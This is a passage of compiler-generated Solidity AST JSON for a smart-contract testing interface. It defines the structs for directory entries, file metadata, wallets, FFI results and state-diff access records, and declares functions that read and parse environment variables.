,"canonicalName":"VmSafe.DirEntry","documentation":{"id":12088,"nodeType":"StructuredDocumentation","src":"3077:65:13","text":"A single entry in a directory listing. Returned by `readDir`."},"members":[{"constant":false,"id":12090,"mutability":"mutable","name":"errorMessage","nameLocation":"3218:12:13","nodeType":"VariableDeclaration","scope":12099,"src":"3211:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":12089,"name":"string","nodeType":"ElementaryTypeName","src":"3211:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12092,"mutability":"mutable","name":"path","nameLocation":"3281:4:13","nodeType":"VariableDeclaration","scope":12099,"src":"3274:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":12091,"name":"string","nodeType":"ElementaryTypeName","src":"3274:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12094,"mutability":"mutable","name":"depth","nameLocation":"3337:5:13","nodeType":"VariableDeclaration","scope":12099,"src":"3330:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12093,"name":"uint64","nodeType":"ElementaryTypeName","src":"3330:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":12096,"mutability":"mutable","name":"isDir","nameLocation":"3402:5:13","nodeType":"VariableDeclaration","scope":12099,"src":"3397:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12095,"name":"bool","nodeType":"ElementaryTypeName","src":"3397:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12098,"mutability":"mutable","name":"isSymlink","nameLocation":"3465:9:13","nodeType":"VariableDeclaration","scope":12099,"src":"3460:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12097,"name":"bool","nodeType":"ElementaryTypeName","src":"3460:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"name":"DirEntry","nameLocation":"3154:8:13","scope":15098,"visibility":"public"},{"id":12115,"nodeType":"StructDefinition","src":"3711:599:13","nodes":[],"canonicalName":"VmSafe.FsMetadata","documentation":{"id":12100,"nodeType":"StructuredDocumentation","src":"3487:219:13","text":"Metadata information about a file.\n This structure is returned from the `fsMetadata` function and represents known\n metadata about a file such as its permissions, size, modification\n times, etc."},"members":[{"constant":false,"id":12102,"mutability":"mutable","name":"isDir","nameLocation":"3797:5:13","nodeType":"VariableDeclaration","scope":12115,"src":"3792:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12101,"name":"bool","nodeType":"ElementaryTypeName","src":"3792:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12104,"mutability":"mutable","name":"isSymlink","nameLocation":"3868:9:13","nodeType":"VariableDeclaration","scope":12115,"src":"3863:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12103,"name":"bool","nodeType":"ElementaryTypeName","src":"3863:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12106,"mutability":"mutable","name":"length","nameLocation":"3960:6:13","nodeType":"VariableDeclaration","scope":12115,"src":"3952:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12105,"name":"uint256","nodeType":"ElementaryTypeName","src":"3952:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12108,"mutability":"mutable","name":"readOnly","nameLocation":"4051:8:13","nodeType":"VariableDeclaration","scope":12115,"src":"4046:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12107,"name":"bool","nodeType":"ElementaryTypeName","src":"4046:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12110,"mutability":"mutable","name":"modified","nameLocation":"4140:8:13","nodeType":"VariableDeclaration","scope":12115,"src":"4132:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12109,"name":"uint256","nodeType":"ElementaryTypeName","src":"4132:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12112,"mutability":"mutable","name":"accessed","nameLocation":"4216:8:13","nodeType":"VariableDeclaration","scope":12115,"src":"4208:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12111,"name":"uint256","nodeType":"ElementaryTypeName","src":"4208:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12114,"mutability":"mutable","name":"created","nameLocation":"4296:7:13","nodeType":"VariableDeclaration","scope":12115,"src":"4288:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12113,"name":"uint256","nodeType":"ElementaryTypeName","src":"4288:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"FsMetadata","nameLocation":"3718:10:13","scope":15098,"visibility":"public"},{"id":12125,"nodeType":"StructDefinition","src":"4364:277:13","nodes":[],"canonicalName":"VmSafe.Wallet","documentation":{"id":12116,"nodeType":"StructuredDocumentation","src":"4316:43:13","text":"A wallet with a public and private key."},"members":[{"constant":false,"id":12118,"mutability":"mutable","name":"addr","nameLocation":"4429:4:13","nodeType":"VariableDeclaration","scope":12125,"src":"4421:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12117,"name":"address","nodeType":"ElementaryTypeName","src":"4421:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12120,"mutability":"mutable","name":"publicKeyX","nameLocation":"4491:10:13","nodeType":"VariableDeclaration","scope":12125,"src":"4483:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12119,"name":"uint256","nodeType":"ElementaryTypeName","src":"4483:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12122,"mutability":"mutable","name":"publicKeyY","nameLocation":"4559:10:13","nodeType":"VariableDeclaration","scope":12125,"src":"4551:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12121,"name":"uint256","nodeType":"ElementaryTypeName","src":"4551:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12124,"mutability":"mutable","name":"privateKey","nameLocation":"4624:10:13","nodeType":"VariableDeclaration","scope":12125,"src":"4616:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12123,"name":"uint256","nodeType":"ElementaryTypeName","src":"4616:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"Wallet","nameLocation":"4371:6:13","scope":15098,"visibility":"public"},{"id":12133,"nodeType":"StructDefinition","src":"4686:213:13","nodes":[],"canonicalName":"VmSafe.FfiResult","documentation":{"id":12126,"nodeType":"StructuredDocumentation","src":"4647:34:13","text":"The result of a `tryFfi` call."},"members":[{"constant":false,"id":12128,"mutability":"mutable","name":"exitCode","nameLocation":"4757:8:13","nodeType":"VariableDeclaration","scope":12133,"src":"4751:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int32","typeString":"int32"},"typeName":{"id":12127,"name":"int32","nodeType":"ElementaryTypeName","src":"4751:5:13","typeDescriptions":{"typeIdentifier":"t_int32","typeString":"int32"}},"visibility":"internal"},{"constant":false,"id":12130,"mutability":"mutable","name":"stdout","nameLocation":"4834:6:13","nodeType":"VariableDeclaration","scope":12133,"src":"4828:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":12129,"name":"bytes","nodeType":"ElementaryTypeName","src":"4828:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":12132,"mutability":"mutable","name":"stderr","nameLocation":"4886:6:13","nodeType":"VariableDeclaration","scope":12133,"src":"4880:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":12131,"name":"bytes","nodeType":"ElementaryTypeName","src":"4880:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"name":"FfiResult","nameLocation":"4693:9:13","scope":15098,"visibility":"public"},{"id":12139,"nodeType":"StructDefinition","src":"4948:184:13","nodes":[],"canonicalName":"VmSafe.ChainInfo","documentation":{"id":12134,"nodeType":"StructuredDocumentation","src":"4905:38:13","text":"Information on the chain and fork."},"members":[{"constant":false,"id":12136,"mutability":"mutable","name":"forkId","nameLocation":"5049:6:13","nodeType":"VariableDeclaration","scope":12139,"src":"5041:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12135,"name":"uint256","nodeType":"ElementaryTypeName","src":"5041:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12138,"mutability":"mutable","name":"chainId","nameLocation":"5118:7:13","nodeType":"VariableDeclaration","scope":12139,"src":"5110:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12137,"name":"uint256","nodeType":"ElementaryTypeName","src":"5110:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"ChainInfo","nameLocation":"4955:9:13","scope":15098,"visibility":"public"},{"id":12171,"nodeType":"StructDefinition","src":"5193:1837:13","nodes":[],"canonicalName":"VmSafe.AccountAccess","documentation":{"id":12140,"nodeType":"StructuredDocumentation","src":"5138:50:13","text":"The result of a `stopAndReturnStateDiff` call."},"members":[{"constant":false,"id":12143,"mutability":"mutable","name":"chainInfo","nameLocation":"5285:9:13","nodeType":"VariableDeclaration","scope":12171,"src":"5275:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_struct$_ChainInfo_$12139_storage_ptr","typeString":"struct VmSafe.ChainInfo"},"typeName":{"id":12142,"nodeType":"UserDefinedTypeName","pathNode":{"id":12141,"name":"ChainInfo","nameLocations":["5275:9:13"],"nodeType":"IdentifierPath","referencedDeclaration":12139,"src":"5275:9:13"},"referencedDeclaration":12139,"src":"5275:9:13","typeDescriptions":{"typeIdentifier":"t_struct$_ChainInfo_$12139_storage_ptr","typeString":"struct VmSafe.ChainInfo"}},"visibility":"internal"},{"constant":false,"id":12146,"mutability":"mutable","name":"kind","nameLocation":"5748:4:13","nodeType":"VariableDeclaration","scope":12171,"src":"5730:22:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AccountAccessKind_$12051","typeString":"enum VmSafe.AccountAccessKind"},"typeName":{"id":12145,"nodeType":"UserDefinedTypeName","pathNode":{"id":12144,"name":"AccountAccessKind","nameLocations":["5730:17:13"],"nodeType":"IdentifierPath","referencedDeclaration":12051,"src":"5730:17:13"},"referencedDeclaration":12051,"src":"5730:17:13","typeDescriptions":{"typeIdentifier":"t_enum$_AccountAccessKind_$12051","typeString":"enum VmSafe.AccountAccessKind"}},"visibility":"internal"},{"constant":false,"id":12148,"mutability":"mutable","name":"account","nameLocation":"5925:7:13","nodeType":"VariableDeclaration","scope":12171,"src":"5917:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12147,"name":"address","nodeType":"ElementaryTypeName","src":"5917:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12150,"mutability":"mutable","name":"accessor","nameLocation":"5988:8:13","nodeType":"VariableDeclaration","scope":12171,"src":"5980:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12149,"name":"address","nodeType":"ElementaryTypeName","src":"5980:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12152,"mutability":"mutable","name":"initialized","nameLocation":"6199:11:13","nodeType":"VariableDeclaration","scope":12171,"src":"6194:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12151,"name":"bool","nodeType":"ElementaryTypeName","src":"6194:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12154,"mutability":"mutable","name":"oldBalance","nameLocation":"6285:10:13","nodeType":"VariableDeclaration","scope":12171,"src":"6277:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12153,"name":"uint256","nodeType":"ElementaryTypeName","src":"6277:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12156,"mutability":"mutable","name":"newBalance","nameLocation":"6460:10:13","nodeType":"VariableDeclaration","scope":12171,"src":"6452:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12155,"name":"uint256","nodeType":"ElementaryTypeName","src":"6452:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12158,"mutability":"mutable","name":"deployedCode","nameLocation":"6537:12:13","nodeType":"VariableDeclaration","scope":12171,"src":"6531:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":12157,"name":"bytes","nodeType":"ElementaryTypeName","src":"6531:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":12160,"mutability":"mutable","name":"value","nameLocation":"6621:5:13","nodeType":"VariableDeclaration","scope":12171,"src":"6613:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12159,"name":"uint256","nodeType":"ElementaryTypeName","src":"6613:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12162,"mutability":"mutable","name":"data","nameLocation":"6695:4:13","nodeType":"VariableDeclaration","scope":12171,"src":"6689:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":12161,"name":"bytes","nodeType":"ElementaryTypeName","src":"6689:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":12164,"mutability":"mutable","name":"reverted","nameLocation":"6790:8:13","nodeType":"VariableDeclaration","scope":12171,"src":"6785:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12163,"name":"bool","nodeType":"ElementaryTypeName","src":"6785:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12168,"mutability":"mutable","name":"storageAccesses","nameLocation":"6912:15:13","nodeType":"VariableDeclaration","scope":12171,"src":"6896:31:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_StorageAccess_$12185_storage_$dyn_storage_ptr","typeString":"struct VmSafe.StorageAccess[]"},"typeName":{"baseType":{"id":12166,"nodeType":"UserDefinedTypeName","pathNode":{"id":12165,"name":"StorageAccess","nameLocations":["6896:13:13"],"nodeType":"IdentifierPath","referencedDeclaration":12185,"src":"6896:13:13"},"referencedDeclaration":12185,"src":"6896:13:13","typeDescriptions":{"typeIdentifier":"t_struct$_StorageAccess_$12185_storage_ptr","typeString":"struct VmSafe.StorageAccess"}},"id":12167,"nodeType":"ArrayTypeName","src":"6896:15:13","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_StorageAccess_$12185_storage_$dyn_storage_ptr","typeString":"struct VmSafe.StorageAccess[]"}},"visibility":"internal"},{"constant":false,"id":12170,"mutability":"mutable","name":"depth","nameLocation":"7018:5:13","nodeType":"VariableDeclaration","scope":12171,"src":"7011:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12169,"name":"uint64","nodeType":"ElementaryTypeName","src":"7011:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"name":"AccountAccess","nameLocation":"5200:13:13","scope":15098,"visibility":"public"},{"id":12185,"nodeType":"StructDefinition","src":"7092:425:13","nodes":[],"canonicalName":"VmSafe.StorageAccess","documentation":{"id":12172,"nodeType":"StructuredDocumentation","src":"7036:51:13","text":"The storage accessed during an `AccountAccess`."},"members":[{"constant":false,"id":12174,"mutability":"mutable","name":"account","nameLocation":"7182:7:13","nodeType":"VariableDeclaration","scope":12185,"src":"7174:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12173,"name":"address","nodeType":"ElementaryTypeName","src":"7174:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12176,"mutability":"mutable","name":"slot","nameLocation":"7246:4:13","nodeType":"VariableDeclaration","scope":12185,"src":"7238:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12175,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7238:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12178,"mutability":"mutable","name":"isWrite","nameLocation":"7303:7:13","nodeType":"VariableDeclaration","scope":12185,"src":"7298:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12177,"name":"bool","nodeType":"ElementaryTypeName","src":"7298:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12180,"mutability":"mutable","name":"previousValue","nameLocation":"7371:13:13","nodeType":"VariableDeclaration","scope":12185,"src":"7363:21:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12179,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7363:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12182,"mutability":"mutable","name":"newValue","nameLocation":"7440:8:13","nodeType":"VariableDeclaration","scope":12185,"src":"7432:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12181,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7432:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12184,"mutability":"mutable","name":"reverted","nameLocation":"7502:8:13","nodeType":"VariableDeclaration","scope":12185,"src":"7497:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12183,"name":"bool","nodeType":"ElementaryTypeName","src":"7497:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"name":"StorageAccess","nameLocation":"7099:13:13","scope":15098,"visibility":"public"},{"id":12193,"nodeType":"FunctionDefinition","src":"7704:80:13","nodes":[],"documentation":{"id":12186,"nodeType":"StructuredDocumentation","src":"7561:138:13","text":"Gets the environment variable `name` and parses it as `address`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"350d56bf","implemented":false,"kind":"function","modifiers":[],"name":"envAddress","nameLocation":"7713:10:13","parameters":{"id":12189,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12188,"mutability":"mutable","name":"name","nameLocation":"7740:4:13","nodeType":"VariableDeclaration","scope":12193,"src":"7724:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12187,"name":"string","nodeType":"ElementaryTypeName","src":"7724:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7723:22:13"},"returnParameters":{"id":12192,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12191,"mutability":"mutable","name":"value","nameLocation":"7777:5:13","nodeType":"VariableDeclaration","scope":12193,"src":"7769:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12190,"name":"address","nodeType":"ElementaryTypeName","src":"7769:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"7768:15:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12204,"nodeType":"FunctionDefinition","src":"7967:112:13","nodes":[],"documentation":{"id":12194,"nodeType":"StructuredDocumentation","src":"7790:172:13","text":"Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"ad31b9fa","implemented":false,"kind":"function","modifiers":[],"name":"envAddress","nameLocation":"7976:10:13","parameters":{"id":12199,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12196,"mutability":"mutable","name":"name","nameLocation":"8003:4:13","nodeType":"VariableDeclaration","scope":12204,"src":"7987:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12195,"name":"string","nodeType":"ElementaryTypeName","src":"7987:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12198,"mutability":"mutable","name":"delim","nameLocation":"8025:5:13","nodeType":"VariableDeclaration","scope":12204,"src":"8009:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12197,"name":"string","nodeType":"ElementaryTypeName","src":"8009:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7986:45:13"},"returnParameters":{"id":12203,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12202,"mutability":"mutable","name":"value","nameLocation":"8072:5:13","nodeType":"VariableDeclaration","scope":12204,"src":"8055:22:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":12200,"name":"address","nodeType":"ElementaryTypeName","src":"8055:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":12201,"nodeType":"ArrayTypeName","src":"8055:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"8054:24:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12212,"nodeType":"FunctionDefinition","src":"8225:74:13","nodes":[],"documentation":{"id":12205,"nodeType":"StructuredDocumentation","src":"8085:135:13","text":"Gets the environment variable `name` and parses it as `bool`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"7ed1ec7d","implemented":false,"kind":"function","modifiers":[],"name":"envBool","nameLocation":"8234:7:13","parameters":{"id":12208,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12207,"mutability":"mutable","name":"name","nameLocation":"8258:4:13","nodeType":"VariableDeclaration","scope":12212,"src":"8242:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12206,"name":"string","nodeType":"ElementaryTypeName","src":"8242:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8241:22:13"},"returnParameters":{"id":12211,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12210,"mutability":"mutable","name":"value","nameLocation":"8292:5:13","nodeType":"VariableDeclaration","scope":12212,"src":"8287:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12209,"name":"bool","nodeType":"ElementaryTypeName","src":"8287:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"8286:12:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12223,"nodeType":"FunctionDefinition","src":"8479:106:13","nodes":[],"documentation":{"id":12213,"nodeType":"StructuredDocumentation","src":"8305:169:13","text":"Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"aaaddeaf","implemented":false,"kind":"function","modifiers":[],"name":"envBool","nameLocation":"8488:7:13","parameters":{"id":12218,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12215,"mutability":"mutable","name":"name","nameLocation":"8512:4:13","nodeType":"VariableDeclaration","scope":12223,"src":"8496:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12214,"name":"string","nodeType":"ElementaryTypeName","src":"8496:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12217,"mutability":"mutable","name":"delim","nameLocation":"8534:5:13","nodeType":"VariableDeclaration","scope":12223,"src":"8518:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12216,"name":"string","nodeType":"ElementaryTypeName","src":"8518:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8495:45:13"},"returnParameters":{"id":12222,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12221,"mutability":"mutable","name":"value","nameLocation":"8578:5:13","nodeType":"VariableDeclaration","scope":12223,"src":"8564:19:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":12219,"name":"bool","nodeType":"ElementaryTypeName","src":"8564:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":12220,"nodeType":"ArrayTypeName","src":"8564:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"8563:21:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12231,"nodeType":"FunctionDefinition","src":"8734:80:13","nodes":[],"documentation":{"id":12224,"nodeType":"StructuredDocumentation","src":"8591:138:13","text":"Gets the environment variable `name` and parses it as `bytes32`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"97949042","implemented":false,"kind":"function","modifiers":[],"name":"envBytes32","nameLocation":"8743:10:13","parameters":{"id":12227,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12226,"mutability":"mutable","name":"name","nameLocation":"8770:4:13","nodeType":"VariableDeclaration","scope":12231,"src":"8754:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12225,"name":"string","nodeType":"ElementaryTypeName","src":"8754:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8753:22:13"},"returnParameters":{"id":12230,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12229,"mutability":"mutable","name":"value","nameLocation":"8807:5:13","nodeType":"VariableDeclaration","scope":12231,"src":"8799:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12228,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8799:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"8798:15:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":